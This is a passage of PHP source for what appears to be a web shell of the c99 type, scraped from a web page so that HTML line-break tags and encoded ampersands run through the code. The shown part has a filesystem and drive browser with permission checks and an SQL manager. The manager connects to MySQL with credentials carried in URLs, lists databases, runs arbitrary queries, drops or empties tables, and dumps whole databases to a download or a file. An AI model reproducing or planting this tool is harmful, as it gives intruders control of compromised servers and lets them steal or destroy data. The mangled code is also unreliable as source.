}<br />
echo "&nbsp;&nbsp;&nbsp;";<br />
if (is_writable($d))<br />
{<br />
 $wd = TRUE;<br />
 $wdt = "<font color=green>[ ok ]</font>";<br />
 echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";<br />
}<br />
else<br />
{<br />
 $wd = FALSE;<br />
 $wdt = "<font color=red>[ Read-Only ]</font>";<br />
 echo "<b>".view_perms_color($d)."</b>";<br />
}<br />
if (is_callable("disk_free_space"))<br />
{<br />
 $free = disk_free_space($d);<br />
 $total = disk_total_space($d);<br />
 if ($free === FALSE) {$free = 0;}<br />
 if ($total === FALSE) {$total = 0;}<br />
 if ($free < 0) {$free = 0;}<br />
 if ($total < 0) {$total = 0;}<br />
 $used = $total-$free;<br />
 $free_percent = round(100/($total/$free),2);<br />
 echo "<br /><b>Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%)</b>";<br />
}<br />
echo "<br />";<br />
$letters = "";<br />
if ($win)<br />
{<br />
 $v = explode("\\",$d);<br />
 $v = $v[0];<br />
 foreach (range("a","z") as $letter)<br />
 {<br />
  $bool = $isdiskette = in_array($letter,$safemode_diskettes);<br />
  if (!$bool) {$bool = is_dir($letter.":\\");}<br />
  if ($bool)<br />
  {<br />
   $letters .= "<a href=\"".$surl."act=ls&#038;d=".urlencode($letter.":\\")."\"".($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"").">[ ";<br />
   if ($letter.":" != $v) {$letters .= $letter;}<br />
   else {$letters .= "<font color=green>".$letter."</font>";}<br />
   $letters .= " ]</a> ";<br />
  }<br />
 }<br />
 if (!empty($letters)) {echo "<b>Detected drives</b>: ".$letters."<br />";}<br />
}<br />
if (count($quicklaunch) > 0)<br />
{<br />
 foreach($quicklaunch as $item)<br />
 {<br />
  $item[1] = str_replace("%d",urlencode($d),$item[1]);<br />
  $item[1] = str_replace("%sort",$sort,$item[1]);<br />
  $v = realpath($d."..");<br />
  if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}<br />
  $item[1] = str_replace("%upd",urlencode($v),$item[1]);<br />
  echo "<a href=\"".$item[1]."\">".$item[0]."</a>&nbsp;&nbsp;&nbsp;&nbsp;";<br />
 }<br />
}<br />
echo "</p>
</td>
</tr>
</table>
<p>";<br />
if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td width=\"100%\" valign=\"top\">".$donated_html."</td>
</tr>
</table>
<p>";}<br />
echo "<TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td width=\"100%\" valign=\"top\">";<br />
if ($act == "") {$act = $dspact = "ls";}<br />
if ($act == "sql")<br />
{<br />
 $sql_surl = $surl."act=sql";<br />
 if ($sql_login)  {$sql_surl .= "&#038;sql_login=".htmlspecialchars($sql_login);}<br />
 if ($sql_passwd) {$sql_surl .= "&#038;sql_passwd=".htmlspecialchars($sql_passwd);}<br />
 if ($sql_server) {$sql_surl .= "&#038;sql_server=".htmlspecialchars($sql_server);}<br />
 if ($sql_port)   {$sql_surl .= "&#038;sql_port=".htmlspecialchars($sql_port);}<br />
 if ($sql_db)     {$sql_surl .= "&#038;sql_db=".htmlspecialchars($sql_db);}<br />
 $sql_surl .= "&#038;";<br />
 ?><br />
<h3>Attention! SQL-Manager is <u>NOT</u> ready module! Don't reports bugs.</h3>
<p><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor="#C0C0C0"><br />
<tr>
<td width="100%" height="1" colspan="2" valign="top"><center><?php<br />
 if ($sql_server)<br />
 {<br />
  $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);<br />
  $err = mysql_smarterror();<br />
  @mysql_select_db($sql_db,$sql_sock);<br />
  if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}<br />
 }<br />
 else {$sql_sock = FALSE;}<br />
 echo "<b>SQL Manager:</b><br />";<br />
 if (!$sql_sock)<br />
 {<br />
  if (!$sql_server) {echo "NO CONNECTION";}<br />
  else {echo "<center><b>Can't connect</b></center>"; echo "<b>".$err."</b>";}<br />
 }<br />
 else<br />
 {<br />
  $sqlquicklaunch = array();<br />
  $sqlquicklaunch[] = array("Index",$surl."act=sql&#038;sql_login=".htmlspecialchars($sql_login)."&#038;sql_passwd=".htmlspecialchars($sql_passwd)."&#038;sql_server=".htmlspecialchars($sql_server)."&#038;sql_port=".htmlspecialchars($sql_port)."&#038;");<br />
  $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&#038;sql_tbl=".urlencode($sql_tbl));<br />
  $sqlquicklaunch[] = array("Server-status",$surl."act=sql&#038;sql_login=".htmlspecialchars($sql_login)."&#038;sql_passwd=".htmlspecialchars($sql_passwd)."&#038;sql_server=".htmlspecialchars($sql_server)."&#038;sql_port=".htmlspecialchars($sql_port)."&#038;sql_act=serverstatus");<br />
  $sqlquicklaunch[] = array("Server variables",$surl."act=sql&#038;sql_login=".htmlspecialchars($sql_login)."&#038;sql_passwd=".htmlspecialchars($sql_passwd)."&#038;sql_server=".htmlspecialchars($sql_server)."&#038;sql_port=".htmlspecialchars($sql_port)."&#038;sql_act=servervars");<br />
  $sqlquicklaunch[] = array("Processes",$surl."act=sql&#038;sql_login=".htmlspecialchars($sql_login)."&#038;sql_passwd=".htmlspecialchars($sql_passwd)."&#038;sql_server=".htmlspecialchars($sql_server)."&#038;sql_port=".htmlspecialchars($sql_port)."&#038;sql_act=processes");<br />
  $sqlquicklaunch[] = array("Logout",$surl."act=sql");<br />
  echo "<center><b>MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")</b><br />";<br />
  if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\"><b>".$item[0]."</b></a> ] ";}}<br />
  echo "</center>";<br />
 }<br />
 echo "</td>
</tr>
<tr>";<br />
 if (!$sql_sock) {?>
<td width="28%" height="100" valign="top"><center><font size="5"> i </font></center>
<li>If login is null, login is owner of process.
<li>If host is null, host is localhost</b>
<li>If port is null, port is 3306 (default)</td>
<td width="90%" height="1" valign="top"><TABLE height=1 cellSpacing=0 cellPadding=0 width="100%" border=0><br />
<tr>
<td>&nbsp;<b>Please, fill the form:</b><br />
<table>
<tr>
<td><b>Username</b></td>
<td><b>Password</b>&nbsp;</td>
<td><b>Database</b>&nbsp;</td>
</tr>
<form action="<?php echo $surl; ?>" method="POST"><input type="hidden" name="act" value="sql"><br />
<tr>
<td><input type="text" name="sql_login" value="root" maxlength="64"></td>
<td><input type="password" name="sql_passwd" value="" maxlength="64"></td>
<td><input type="text" name="sql_db" value="" maxlength="64"></td>
</tr>
<tr>
<td><b>Host</b></td>
<td><b>PORT</b></td>
</tr>
<tr>
<td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td>
<td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td>
<td><input type="submit" value="Connect"></td>
</tr>
<tr>
<td></td>
</tr>
</form>
</table>
</td>
<p><?php }<br />
 else<br />
 {<br />
  //Start left panel<br />
  if (!empty($sql_db))<br />
  {<br />
   ?>
<td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&#038;sql_login=".htmlspecialchars($sql_login)."&#038;sql_passwd=".htmlspecialchars($sql_passwd)."&#038;sql_server=".htmlspecialchars($sql_server)."&#038;sql_port=".htmlspecialchars($sql_port)."&#038;"; ?>"><b>Home</b></a><br />
<hr size="1" noshade><?php<br />
   $result = mysql_list_tables($sql_db);<br />
   if (!$result) {echo mysql_smarterror();}<br />
   else<br />
   {<br />
    echo "---[ <a href=\"".$sql_surl."&#038;\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br />";<br />
    $c = 0;<br />
    while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>»&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&#038;sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}<br />
    if (!$c) {echo "No tables found in database.";}<br />
   }<br />
  }<br />
  else<br />
  {<br />
   ?>
<td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><br />
<hr size="1" noshade><?php<br />
   $result = mysql_list_dbs($sql_sock);<br />
   if (!$result) {echo mysql_smarterror();}<br />
   else<br />
   {<br />
    ?><br />
<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><br />
<select name="sql_db"><?php<br />
    $c = 0;<br />
    $dbs = "";<br />
    while ($row = mysql_fetch_row($result)) {$dbs .= "<br />
<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>
<p>"; $c++;}<br />
    echo "<br />
<option value=\"\">Databases (".$c.")</option>
<p>";<br />
    echo $dbs;<br />
   }<br />
   ?></select>
<hr size="1" noshade>Please, select database<br />
<hr size="1" noshade><input type="submit" value="Go"></form>
<p><?php<br />
  }<br />
  //End left panel<br />
  echo "</td>
<td width=\"100%\" height=\"1\" valign=\"top\">";<br />
  //Start center panel<br />
  $diplay = TRUE;<br />
  if ($sql_db)<br />
  {<br />
   if (!is_numeric($c)) {$c = 0;}<br />
   if ($c == 0) {$c = "no";}<br />
   echo "<br />
<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br />";<br />
   if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}<br />
   echo "</b></center>";<br />
   $acts = array("","dump");<br />
   if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}<br />
   elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}<br />
   elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}<br />
   elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}<br />
   elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}<br />
   elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}<br />
   elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}<br />
   elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}<br />
   elseif ($sql_tbl_act == "insert")<br />
   {<br />
    if ($sql_tbl_insert_radio == 1)<br />
    {<br />
     $keys = "";<br />
     $akeys = array_keys($sql_tbl_insert);<br />
     foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}<br />
     if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}<br />
     $values = "";<br />
     $i = 0;<br />
     foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}<br />
     if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}<br />
     $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";<br />
     $sql_act = "query";<br />
     $sql_tbl_act = "browse";<br />
    }<br />
    elseif ($sql_tbl_insert_radio == 2)<br />
    {<br />
     $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);<br />
     $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";<br />
     $result = mysql_query($sql_query) or print(mysql_smarterror());<br />
     $result = mysql_fetch_array($result, MYSQL_ASSOC);<br />
     $sql_act = "query";<br />
     $sql_tbl_act = "browse";<br />
    }<br />
   }<br />
   if ($sql_act == "query")<br />
   {<br />
    echo "<br />
<hr size=\"1\" noshade>";<br />
    if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br />".$sql_query_error."<br />";}<br />
    if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}<br />
    if ((!$submit) or ($sql_act)) {echo "<br />
<table border=\"0\" width=\"100%\" height=\"1\">
<tr>
<td>
<form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b></p>
<p><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea></p>
<p><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form>
</td>
</tr>
</table>
<p>";}<br />
   }<br />
   if (in_array($sql_act,$acts))<br />
   {<br />
    ?><br />
<table border="0" width="100%" height="1">
<tr>
<td width="30%" height="1"><b>Create new table:</b><br />
<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form>
</td>
<td width="30%" height="1"><b>Dump DB:</b><br />
<form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form>
</td>
<td width="30%" height="1"></td>
</tr>
<tr>
<td width="30%" height="1"></td>
<td width="30%" height="1"></td>
<td width="30%" height="1"></td>
</tr>
</table>
<p><?php<br />
    if (!empty($sql_act)) {echo "<br />
<hr size=\"1\" noshade>";}<br />
    if ($sql_act == "newtbl")<br />
    {<br />
     echo "<b>";<br />
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br />";<br />
    }<br />
    else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br />Reason:</b> ".mysql_smarterror();}<br />
   }<br />
   elseif ($sql_act == "dump")<br />
   {<br />
    if (empty($submit))<br />
    {<br />
     $diplay = FALSE;<br />
     echo "<br />
<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b></p>
<p>";<br />
     echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"></p>
<p>";<br />
     $v = join (";",$dmptbls);<br />
     echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"></p>
<p>";<br />
     if ($dump_file) {$tmp = $dump_file;}<br />
     else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}<br />
     echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"></p>
<p>";<br />
     echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked></p>
<p>";<br />
     echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";<br />
     echo "</p>
<p><input type=\"submit\" name=\"submit\" value=\"Dump\"></p>
<p><b><sup>1</sup></b> - all, if empty";<br />
     echo "</form>
<p>";<br />
    }<br />
    else<br />
    {<br />
     $diplay = TRUE;<br />
     $set = array();<br />
     $set["sock"] = $sql_sock;<br />
     $set["db"] = $sql_db;<br />
     $dump_out = "download";<br />
     $set["print"] = 0;<br />
     $set["nl2br"] = 0;<br />
     $set[""] = 0;<br />
     $set["file"] = $dump_file;<br />
     $set["add_drop"] = TRUE;<br />
     $set["onlytabs"] = array();<br />
     if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}<br />
     $ret = mysql_dump($set);<br />
     if ($sql_dump_download)<br />
     {<br />
      @ob_clean();<br />
      header("Content-type: application/octet-stream");<br />
      header("Content-length: ".strlen($ret));<br />
      header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");<br />
      echo $ret;<br />
      exit;<br />
     }<br />
     elseif ($sql_dump_savetofile)<br />
     {<br />
      $fp = fopen($sql_dump_file,"w");<br />
      if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}<br />
      else<br />
      {<br />
       fwrite($fp,$ret);<br />
       fclose($fp);<br />
       echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";<br />
      }<br />
     }<br />
     else {echo "<b>Dump: nothing to do!</b>";}<br />
    }<br />
   }<br />
   if ($diplay)<br />
   {<br />
    if (!empty($sql_tbl))<br />
    {<br />
     if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}<br />
     $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");<br />
     $count_row = mysql_fetch_array($count);<br />
     mysql_free_result($count);<br />
     $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");<br />
     $tbl_struct_fields = array();<br />
     while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}<br />
     if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}<br />
     if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}<br />
     if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}<br />
     if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}<br />
     $perpage = $sql_tbl_le - $sql_tbl_ls;<br />
     if (!is_numeric($perpage)) {$perpage = 10;}<br />
     $numpages = $count_row[0]/$perpage;<br />
     $e = explode(" ",$sql_order);<br />
     if (count($e) == 2)<br />
     {<br />
      if ($e[0] == "d") {$asc_desc = "DESC";}<br />
      else {$asc_desc = "ASC";}<br />
      $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";<br />
     }<br />
     else {$v = "";}<br />
     $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";<br />
     $result = mysql_query($query) or print(mysql_smarterror());<br />
     echo "<br />
<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";<br />
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&#038;sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";<br />
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&#038;sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";<br />
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&#038;sql_act=tbldump&#038;thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";<br />
     echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&#038;sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";<br />
     if ($sql_tbl_act == "structure") {echo "</p>
<p><b>Coming sooon!</b>";}<br />
     if ($sql_tbl_act == "insert")<br />
     {<br />
      if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}<br />
      if (!empty($sql_tbl_insert_radio))<br />
      {</p>
<p>      }<br />
      else<br />
      {<br />
       echo "</p>
<p><b>Inserting row into table:</b><br />";<br />
       if (!empty($sql_tbl_insert_q))<br />
       {<br />
        $sql_query = "SELECT * FROM `".$sql_tbl."`";<br />
        $sql_query .= " WHERE".$sql_tbl_insert_q;<br />
        $sql_query .= " LIMIT 1;";<br />
        $result = mysql_query($sql_query,$sql_sock) or print("</p>
<p>".mysql_smarterror());<br />
        $values = mysql_fetch_assoc($result);<br />
        mysql_free_result($result);<br />
       }<br />
       else {$values = array();}<br />
       echo "<br />
<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><br />
<tr>
<td><b>Field</b></td>
<td><b>Type</b></td>
<td><b>Function</b></td>
<td><b>Value</b></td>
</tr>
<p>";<br />
       foreach ($tbl_struct_fields as $field)<br />
       {<br />
        $name = $field["Field"];<br />
        if (empty($sql_tbl_insert_q)) {$v = "";}<br />
        echo "<br />
<tr>
<td><b>".htmlspecialchars($name)."</b></td>
<td>".$field["Type"]."</td>
<td>
<select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\">
<option value=\"\"></option>
<option>PASSWORD</option>
<option>MD5</option>
<option>ENCRYPT</option>
<option>ASCII</option>
<option>CHAR</option>
<option>RAND</option>
<option>LAST_INSERT_ID</option>
<option>COUNT</option>
<option>AVG</option>
<option>SUM</option>
<option value=\"\">--------</option>
<option>SOUNDEX</option>
<option>LCASE</option>
<option>UCASE</option>
<option>NOW</option>
<option>CURDATE</option>
<option>CURTIME</option>
<option>FROM_DAYS</option>
<option>FROM_UNIXTIME</option>
<option>PERIOD_ADD</option>
<option>PERIOD_DIFF</option>
<option>TO_DAYS</option>
<option>UNIX_TIMESTAMP</option>
<option>USER</option>
<option>WEEKDAY</option>
<option>CONCAT</option>
</select>
</td>
<td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td>
</tr>
<p>";<br />
        $i++;<br />
       }<br />
       echo "</table>
<p>";<br />
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";<br />
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}<br />
       echo "</p>
<p><input type=\"submit\" value=\"Confirm\"></form>
<p>";<br />
      }<br />
     }<br />
     if ($sql_tbl_act == "browse")<br />
     {<br />
      $sql_tbl_ls = abs($sql_tbl_ls);<br />
      $sql_tbl_le = abs($sql_tbl_le);<br />
      echo "<br />
<hr size=\"1\" noshade>";<br />
      echo "<img src=\"".$surl."act=img&#038;img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";<br />
      $b = 0;<br />
      for($i=0;$i<$numpages;$i++)<br />
      {<br />
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&#038;sql_order=".htmlspecialchars($sql_order)."&#038;sql_tbl_ls=".($i*$perpage)."&#038;sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}<br />
       echo $i;<br />
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}<br />
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br />";}<br />
       else {echo "&nbsp;";}<br />
      }<br />
      if ($i == 0) {echo "empty";}<br />
      echo "<br />
<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>
<p>";<br />
      echo "<br />
<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";<br />
      echo "<br />
<tr>";<br />
      echo "
<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>
<p>";<br />
      for ($i=0;$i<mysql_num_fields($result);$i++)<br />
      {<br />
       $v = mysql_field_name($result,$i);<br />
       if ($e[0] == "a") {$s = "d"; $m = "asc";}<br />
       else {$s = "a"; $m = "desc";}<br />
       echo "
<td>";<br />
       if (empty($e[0])) {$e[0] = "a";}<br />
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&#038;sql_tbl_le=".$sql_tbl_le."&#038;sql_tbl_ls=".$sql_tbl_ls."&#038;sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}<br />
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&#038;sql_tbl_le=".$sql_tbl_le."&#038;sql_tbl_ls=".$sql_tbl_ls."&#038;sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&#038;img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}<br />
       echo "</td>
<p>";<br />
      }<br />
      echo "
<td><font color=\"green\"><b>Action</b></font></td>
<p>";<br />
      echo "</tr>
<p>";<br />
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))<br />
      {<br />
       echo "<br />
<tr>";<br />
       $w = "";<br />
       $i = 0;<br />
